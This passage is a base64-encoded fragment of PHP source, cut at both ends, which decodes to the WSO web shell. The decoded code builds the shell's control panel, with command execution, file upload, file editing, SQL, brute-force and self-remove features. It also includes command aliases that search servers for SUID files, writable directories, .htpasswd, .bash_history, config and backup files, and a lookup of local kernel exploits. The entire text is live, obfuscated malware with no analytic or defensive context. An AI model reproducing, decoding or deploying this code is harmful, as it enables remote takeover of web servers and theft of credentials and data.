RhdCAtYW4iLCAiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiA9PiAibmV0IHN0YXJ0IiwgIlVzZXIgYWNjb3VudHMiID0+ICJuZXQgdXNlciIsICJTaG93IGNvbXB1dGVycyIgPT4gIm5ldCB2aWV3IiwgIkFSUCBUYWJsZSIgPT4gImFycCAtYSIsICJJUCBDb25maWd1cmF0aW9uIiA9PiAiaXBjb25maWcgL2FsbCIgKTsgZWxzZSAkYWxpYXNlcyA9IGFycmF5KCAiTGlzdCBkaXIiID0+ICJscyAtbGhhIiwgImxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiA9PiAibHNhdHRyIC12YSIsICJzaG93IG9wZW5lZCBwb3J0cyIgPT4gIm5ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4iLCAicHJvY2VzcyBzdGF0dXMiID0+ICJwcyBhdXgiLCAiRmluZCIgPT4gIiIsICJmaW5kIGFsbCBzdWlkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsICJmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwgImZpbmQgYWxsIHNnaWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwgImZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLCAiZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwIiwgImZpbmQgY29uZmlnKiBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwgImZpbmQgY29uZmlnKiBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwgImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIiA9PiAiZmluZCAvIC1wZXJtIC0yIC1scyIsICJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtcGVybSAtMiAtbHMiLCAiZmluZCBhbGwgc2VydmljZS5wd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsICJmaW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiLCAiZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwgImZpbmQgLmh0cGFzc3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwgImZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwgImZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLCAiZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwgImZpbmQgLmZldGNobWFpbHJjIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwgIkxvY2F0ZSIgPT4gIiIsICJsb2NhdGUgaHR0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBodHRwZC5jb25mIiwgImxvY2F0ZSB2aG9zdHMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSB2aG9zdHMuY29uZiIsICJsb2NhdGUgcHJvZnRwZC5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHByb2Z0cGQuY29uZiIsICJsb2NhdGUgcHN5Ym5jLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHN5Ym5jLmNvbmYiLCAibG9jYXRlIG15LmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgbXkuY29uZiIsICJsb2NhdGUgYWRtaW4ucGhwIGZpbGVzIiA9PiJsb2NhdGUgYWRtaW4ucGhwIiwgImxvY2F0ZSBjZmcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNmZy5waHAiLCAibG9jYXRlIGNvbmYucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmYucGhwIiwgImxvY2F0ZSBjb25maWcuZGF0IGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kYXQiLCAibG9jYXRlIGNvbmZpZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLnBocCIsICJsb2NhdGUgY29uZmlnLmluYyBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuaW5jIiwgImxvY2F0ZSBjb25maWcuaW5jLnBocCIgPT4gImxvY2F0ZSBjb25maWcuaW5jLnBocCIsICJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCIsICJsb2NhdGUgY29uZmlnKiBmaWxlcyAiID0+ICJsb2NhdGUgY29uZmlnIiwgImxvY2F0ZSAuY29uZiBmaWxlcyI9PiJsb2NhdGUgJy5jb25mJyIsICJsb2NhdGUgLnB3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLnB3ZCciLCAibG9jYXRlIC5zcWwgZmlsZXMiID0+ICJsb2NhdGUgJy5zcWwnIiwgImxvY2F0ZSAuaHRwYXNzd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5odHBhc3N3ZCciLCAibG9jYXRlIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5iYXNoX2hpc3RvcnknIiwgImxvY2F0ZSAubXlzcWxfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAnLm15c3FsX2hpc3RvcnknIiwgImxvY2F0ZSAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJsb2NhdGUgJy5mZXRjaG1haWxyYyciLCAibG9jYXRlIGJhY2t1cCBmaWxlcyIgPT4gImxvY2F0ZSBiYWNrdXAiLCAibG9jYXRlIGR1bXAgZmlsZXMiID0+ICJsb2NhdGUgZHVtcCIsICJsb2NhdGUgcHJpdiBmaWxlcyIgPT4gImxvY2F0ZSBwcml2IiApOyBmdW5jdGlvbiB3c29IZWFkZXIoKSB7IGlmKGVtcHR5KCRfUE9TVFsnY2hhcnNldCddKSkgJF9QT1NUWydjaGFyc2V0J10gPSAkR0xPQkFMU1snZGVmYXVsdF9jaGFyc2V0J107IGdsb2JhbCAkY29sb3I7IGVjaG8gIjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29udGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PSIgLiAkX1BPU1RbJ2NoYXJzZXQnXSAuICInPjx0aXRsZT4iIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gIiAtIFdTTyAiIC4gV1NPX1ZFUlNJT04gLiI8L3RpdGxlPgo8c3R5bGU+CmJvZHl7YmFja2dyb3VuZC1jb2xvcjojNDQ0O2NvbG9yOiNlMWUxZTE7fQpib2R5LHRkLHRoeyBmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiNlMWUxZTE7IH0KdGFibGUuaW5mb3sgY29sb3I6I2ZmZjtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7IH0Kc3BhbixoMSxheyBjb2xvcjogJGNvbG9yICFpbXBvcnRhbnQ7IH0Kc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQpoMXsgYm9yZGVyLWxlZnQ6NXB4IHNvbGlkICRjb2xvcjtwYWRkaW5nOiAycHggNXB4O2ZvbnQ6IDE0cHQgVmVyZGFuYTtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7bWFyZ2luOjBweDsgfQpkaXYuY29udGVudHsgcGFkZGluZzogNXB4O21hcmdpbi1sZWZ0OjVweDtiYWNrZ3JvdW5kLWNvbG9yOiMzMzM7IH0KYXsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IH0KYTpob3ZlcnsgdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTsgfQoubWwxeyBib3JkZXI6MXB4IHNvbGlkICM0NDQ7cGFkZGluZzo1cHg7bWFyZ2luOjA7b3ZlcmZsb3c6IGF1dG87IH0KLmJpZ2FyZWF7IHdpZHRoOjEwMCU7aGVpZ2h0OjMwMHB4OyB9CmlucHV0LHRleHRhcmVhLHNlbGVjdHsgbWFyZ2luOjA7Y29sb3I6I2ZmZjtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyOjFweCBzb2xpZCAkY29sb3I7IGZvbnQ6IDlwdCBNb25vc3BhY2UsJ0NvdXJpZXIgTmV3JzsgfQpmb3JteyBtYXJnaW46MHB4OyB9CiN0b29sc1RibHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0KLnRvb2xzSW5weyB3aWR0aDogMzAwcHggfQoubWFpbiB0aHt0ZXh0LWFsaWduOmxlZnQ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlO30KLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlfQoubDF7YmFja2dyb3VuZC1jb2xvcjojNDQ0fQoubDJ7YmFja2dyb3VuZC1jb2xvcjojMzMzfQpwcmV7Zm9udC1mYW1pbHk6Q291cmllcixNb25vc3BhY2U7fQo8L3N0eWxlPgo8c2NyaXB0PgogICAgdmFyIGNfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsKICAgIHZhciBhXyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydhJ10pIC4iJwogICAgdmFyIGNoYXJzZXRfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2NoYXJzZXQnXSkgLiInOwogICAgdmFyIHAxXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDEnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSxFTlRfUVVPVEVTKSkgLiInOwogICAgdmFyIHAyXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDInXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSxFTlRfUVVPVEVTKSkgLiInOwogICAgdmFyIHAzXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDMnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDMnXSxFTlRfUVVPVEVTKSkgLiInOwogICAgdmFyIGQgPSBkb2N1bWVudDsKCWZ1bmN0aW9uIHNldChhLGMscDEscDIscDMsY2hhcnNldCkgewoJCWlmKGEhPW51bGwpZC5tZi5hLnZhbHVlPWE7ZWxzZSBkLm1mLmEudmFsdWU9YV87CgkJaWYoYyE9bnVsbClkLm1mLmMudmFsdWU9YztlbHNlIGQubWYuYy52YWx1ZT1jXzsKCQlpZihwMSE9bnVsbClkLm1mLnAxLnZhbHVlPXAxO2Vsc2UgZC5tZi5wMS52YWx1ZT1wMV87CgkJaWYocDIhPW51bGwpZC5tZi5wMi52YWx1ZT1wMjtlbHNlIGQubWYucDIudmFsdWU9cDJfOwoJCWlmKHAzIT1udWxsKWQubWYucDMudmFsdWU9cDM7ZWxzZSBkLm1mLnAzLnZhbHVlPXAzXzsKCQlpZihjaGFyc2V0IT1udWxsKWQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0O2Vsc2UgZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXRfOwoJfQoJZnVuY3Rpb24gZyhhLGMscDEscDIscDMsY2hhcnNldCkgewoJCXNldChhLGMscDEscDIscDMsY2hhcnNldCk7CgkJZC5tZi5zdWJtaXQoKTsKCX0KCWZ1bmN0aW9uIGEoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKCQlzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOwoJCXZhciBwYXJhbXMgPSAnYWpheD10cnVlJzsKCQlmb3IoaT0wO2k8ZC5tZi5lbGVtZW50cy5sZW5ndGg7aSsrKQoJCQlwYXJhbXMgKz0gJyYnK2QubWYuZWxlbWVudHNbaV0ubmFtZSsnPScrZW5jb2RlVVJJQ29tcG9uZW50KGQubWYuZWxlbWVudHNbaV0udmFsdWUpOwoJCXNyKCciIC4gYWRkc2xhc2hlcygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiInLCBwYXJhbXMpOwoJfQoJZnVuY3Rpb24gc3IodXJsLCBwYXJhbXMpIHsKCQlpZiAod2luZG93LlhNTEh0dHBSZXF1ZXN0KQoJCQlyZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKCQllbHNlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkKCQkJcmVxID0gbmV3IEFjdGl2ZVhPYmplY3QoJ01pY3Jvc29mdC5YTUxIVFRQJyk7CiAgICAgICAgaWYgKHJlcSkgewogICAgICAgICAgICByZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsKICAgICAgICAgICAgcmVxLm9wZW4oJ1BPU1QnLCB1cmwsIHRydWUpOwogICAgICAgICAgICByZXEuc2V0UmVxdWVzdEhlYWRlciAoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnKTsKICAgICAgICAgICAgcmVxLnNlbmQocGFyYW1zKTsKICAgICAgICB9Cgl9CglmdW5jdGlvbiBwcm9jZXNzUmVxQ2hhbmdlKCkgewoJCWlmKCAocmVxLnJlYWR5U3RhdGUgPT0gNCkgKQoJCQlpZihyZXEuc3RhdHVzID09IDIwMCkgewoJCQkJdmFyIHJlZyA9IG5ldyBSZWdFeHAoXCIoXFxcXGQrKShbXFxcXFNcXFxcc10qKVwiLCAnbScpOwoJCQkJdmFyIGFycj1yZWcuZXhlYyhyZXEucmVzcG9uc2VUZXh0KTsKCQkJCWV2YWwoYXJyWzJdLnN1YnN0cigwLCBhcnJbMV0pKTsKCQkJfSBlbHNlIGFsZXJ0KCdSZXF1ZXN0IGVycm9yIScpOwoJfQo8L3NjcmlwdD4KPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiM0NDQ7dG9wOjA7bGVmdDowOyc+Cjxmb3JtIG1ldGhvZD1wb3N0IG5hbWU9bWYgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMT4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDI+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0Pgo8L2Zvcm0+IjsgJGZyZWVTcGFjZSA9IEBkaXNrZnJlZXNwYWNlKCRHTE9CQUxTWydjd2QnXSk7ICR0b3RhbFNwYWNlID0gQGRpc2tfdG90YWxfc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsgJHRvdGFsU3BhY2UgPSAkdG90YWxTcGFjZT8kdG90YWxTcGFjZToxOyAkcmVsZWFzZSA9IEBwaHBfdW5hbWUoJ3InKTsgJGtlcm5lbCA9IEBwaHBfdW5hbWUoJ3MnKTsgJGV4cGxpbmsgPSAnaHR0cDovL2V4cGxvaXQtZGIuY29tL3NlYXJjaC8/YWN0aW9uPXNlYXJjaCZmaWx0ZXJfZGVzY3JpcHRpb249JzsgaWYoc3RycG9zKCdMaW51eCcsICRrZXJuZWwpICE9PSBmYWxzZSkgJGV4cGxpbmsgLj0gdXJsZW5jb2RlKCdMaW51eCBLZXJuZWwgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDYpKTsgZWxzZSAkZXhwbGluayAuPSB1cmxlbmNvZGUoJGtlcm5lbCAuICcgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDMpKTsgaWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKSB7ICR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsgJHVpZCA9IEBnZXRteXVpZCgpOyAkZ2lkID0gQGdldG15Z2lkKCk7ICRncm91cCA9ICI/IjsgfSBlbHNlIHsgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChwb3NpeF9nZXRldWlkKCkpOyAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKHBvc2l4X2dldGVnaWQoKSk7ICR1c2VyID0gJHVpZFsnbmFtZSddOyAkdWlkID0gJHVpZFsndWlkJ107ICRncm91cCA9ICRnaWRbJ25hbWUnXTsgJGdpZCA9ICRnaWRbJ2dpZCddOyB9ICRjd2RfbGlua3MgPSAnJzsgJHBhdGggPSBleHBsb2RlKCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsgJG49Y291bnQoJHBhdGgpOyBmb3IoJGk9MDsgJGk8JG4tMTsgJGkrKykgeyAkY3dkX2xpbmtzIC49ICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixcIiI7IGZvcigkaj0wOyAkajw9JGk7ICRqKyspICRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsgJGN3ZF9saW5rcyAuPSAiXCIpJz4iLiRwYXRoWyRpXS4iLzwvYT4iOyB9ICRjaGFyc2V0cyA9IGFycmF5KCdVVEYtOCcsICdXaW5kb3dzLTEyNTEnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDg2NicpOyAkb3B0X2NoYXJzZXRzID0gJyc7IGZvcmVhY2goJGNoYXJzZXRzIGFzICRpdGVtKSAkb3B0X2NoYXJzZXRzIC49ICc8b3B0aW9uIHZhbHVlPSInLiRpdGVtLiciICcuKCRfUE9TVFsnY2hhcnNldCddPT0kaXRlbT8nc2VsZWN0ZWQnOicnKS4nPicuJGl0ZW0uJzwvb3B0aW9uPic7ICRtID0gYXJyYXkoJ1NlYy4gSW5mbyc9PidTZWNJbmZvJywnRmlsZXMnPT4nRmlsZXNNYW4nLCdDb25zb2xlJz0+J0NvbnNvbGUnLCdTcWwnPT4nU3FsJywnUGhwJz0+J1BocCcsJ1N0cmluZyB0b29scyc9PidTdHJpbmdUb29scycsJ0JydXRlZm9yY2UnPT4nQnJ1dGVmb3JjZScsJ05ldHdvcmsnPT4nTmV0d29yaycpOyBpZighZW1wdHkoJEdMT0JBTFNbJ2F1dGhfcGFzcyddKSkgJG1bJ0xvZ291dCddID0gJ0xvZ291dCc7ICRtWydTZWxmIHJlbW92ZSddID0gJ1NlbGZSZW1vdmUnOyAkbWVudSA9ICcnOyBmb3JlYWNoKCRtIGFzICRrID0+ICR2KSAkbWVudSAuPSAnPHRoIHdpZHRoPSInLihpbnQpKDEwMC9jb3VudCgkbSkpLiclIj5bIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCcnLiR2LidcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+Jy4kay4nPC9hPiBdPC90aD4nOyAkZHJpdmVzID0gIiI7IGlmKCRHTE9CQUxTWydvcyddID09ICd3aW4nKSB7IGZvcmVhY2gocmFuZ2UoJ2MnLCd6JykgYXMgJGRyaXZlKSBpZihpc19kaXIoJGRyaXZlLic6XFwnKSkgJGRyaXZlcyAuPSAnPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLiRkcml2ZS4nOi9cJykiPlsgJy4kZHJpdmUuJyBdPC9hPiAnOyB9IGVjaG8gJzx0YWJsZSBjbGFzcz1pbmZvIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj48dGQgd2lkdGg9MT48c3Bhbj5VbmFtZTo8YnI+VXNlcjo8YnI+UGhwOjxicj5IZGQ6PGJyPkN3ZDonIC4gKCRHTE9CQUxTWydvcyddID09ICd3aW4nPyc8YnI+RHJpdmVzOic6JycpIC4gJzwvc3Bhbj48L3RkPicgLiAnPHRkPjxub2JyPicgLiBzdWJzdHIoQHBocF91bmFtZSgpLCAwLCAxMjApIC4gJyA8YSBocmVmPSInIC4gJGV4cGxpbmsgLiAnIiB0YXJnZXQ9X2JsYW5rPltleHBsb2l0LWRiLmNvbV08L2E+PC9ub2JyPjxicj4nIC4gJHVpZCAuICcgKCAnIC4gJHVzZXIgLiAnICkgPHNwYW4+R3JvdXA6PC9zcGFuPiAnIC4gJGdpZCAuICcgKCAnIC4gJGdyb3VwIC4gJyApPGJyPicgLiBAcGhwdmVyc2lvbigpIC4gJyA8c3Bhbj5TYWZlIG1vZGU6PC9zcGFuPiAnIC4gKCRHTE9CQUxTWydzYWZlX21vZGUnXT8nPGZvbnQgY29sb3I9cmVkPk9OPC9mb250Pic6Jzxmb250IGNvbG9yPWdyZWVuPjxiPk9GRjwvYj48L2ZvbnQ+JykgLiAnIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnUGhwXCcsbnVsbCxcJ1wnLFwnaW5mb1wnKSI+WyBwaHBpbmZvIF08L2E+IDxzcGFuPkRhdGV0aW1lOjwvc3Bhbj4gJyAuIGRhdGUoJ1ktbS1kIEg6aTpzJykgLiAnPGJyPicgLiB3c29WaWV3U2l6ZSgkdG90YWxTcGFjZSkgLiAnIDxzcGFuPkZyZWU6PC9zcGFuPiAnIC4gd3NvVmlld1NpemUoJGZyZWVTcGFjZSkgLiAnICgnLiAoaW50KSAoJGZyZWVTcGFjZS8kdG90YWxTcGFjZSoxMDApIC4gJyUpPGJyPicgLiAkY3dkX2xpbmtzIC4gJyAnLiB3c29QZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXSkgLiAnIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycgLiAkR0xPQkFMU1snaG9tZV9jd2QnXSAuICdcJyxcJ1wnLFwnXCcsXCdcJykiPlsgaG9tZSBdPC9hPjxicj4nIC4gJGRyaXZlcyAuICc8L3RkPicgLiAnPHRkIHdpZHRoPTEgYWxpZ249cmlnaHQ+PG5vYnI+PHNlbGVjdCBvbmNoYW5nZT0iZyhudWxsLG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy52YWx1ZSkiPjxvcHRncm91cCBsYWJlbD0iUGFnZSBjaGFyc2V0Ij4nIC4gJG9wdF9jaGFyc2V0cyAuICc8L29wdGdyb3VwPjwvc2VsZWN0Pjxicj48c3Bhbj5TZXJ2ZXIgSVA6PC9zcGFuPjxicj4nIC4gQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdIC4gJzxicj48c3Bhbj5DbGllbnQgSVA6PC9zcGFuPjxicj4nIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAnPC9ub2JyPjwvdGQ+PC90cj48L3RhYmxlPicgLiAnPHRhYmxlIHN0eWxlPSJib3JkZXItdG9wOjJweCBzb2xpZCAjMzMzOyIgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCU+PHRyPicgLiAkbWVudSAuICc8L3RyPjwvdGFibGU+PGRpdiBzdHlsZT0ibWFyZ2luOjUiPic7IH0gZnVuY3Rpb24gd3NvRm9vdGVyKCkgeyAkaXNfd3JpdGFibGUgPSBpc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pPyIgPGZvbnQgY29sb3I9J2dyZWVuJz4oV3JpdGVhYmxlKTwvZm9udD4iOiIgPGZvbnQgY29sb3I9cmVkPihOb3Qgd3JpdGFibGUpPC9mb250PiI7IGVjaG8gIgo8L2Rpdj4KPHRhYmxlIGNsYXNzPWluZm8gaWQ9dG9vbHNUYmwgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCUgIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjMzMzO2JvcmRlci1ib3R0b206MnB4IHNvbGlkICMzMzM7Jz4KCTx0cj4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9J2cobnVsbCx0aGlzLmMudmFsdWUsXCJcIik7cmV0dXJuIGZhbHNlOyc+PHNwYW4+Q2hhbmdlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPgoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+UmVhZCBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4KCTwvdHI+PHRyPgoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzTWFuJyxudWxsLCdta2RpcicsdGhpcy5kLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+TWFrZSBkaXI6PC9zcGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1kPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPgoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlLCdta2ZpbGUnKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+TWFrZSBmaWxlOjwvc3Bhbj4kaXNfd3JpdGFibGU8YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4KCTwvdHI+PHRyPgoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD1cImcoJ0NvbnNvbGUnLG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+RXhlY3V0ZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9Jyc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+CgkJPHRkPjxmb3JtIG1ldGhvZD0ncG9zdCcgRU5DVFlQRT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+CgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNQW4nPgoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIgLiAkR0xPQkFMU1snY3dkJ10gLiInPgoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSd1cGxvYWRGaWxlJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciIC4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykgLiAiJz4KCQk8c3Bhbj5VcGxvYWQgZmlsZTo8L3NwYW4+JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9ZmlsZSBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjxiciAgPjwvdGQ+Cgk8L3RyPjwvdGFibGU+PC9kaXY+PC9ib2R5PjwvaHRtbD4iOyB9IGlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIChzdHJwb3MoJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10sICdwb3NpeF9nZXRwd3VpZCcpPT09ZmFsc2UpKSB7IGZ1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCRwKSB7cmV0dXJuIGZhbHNlO30gfSBpZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYm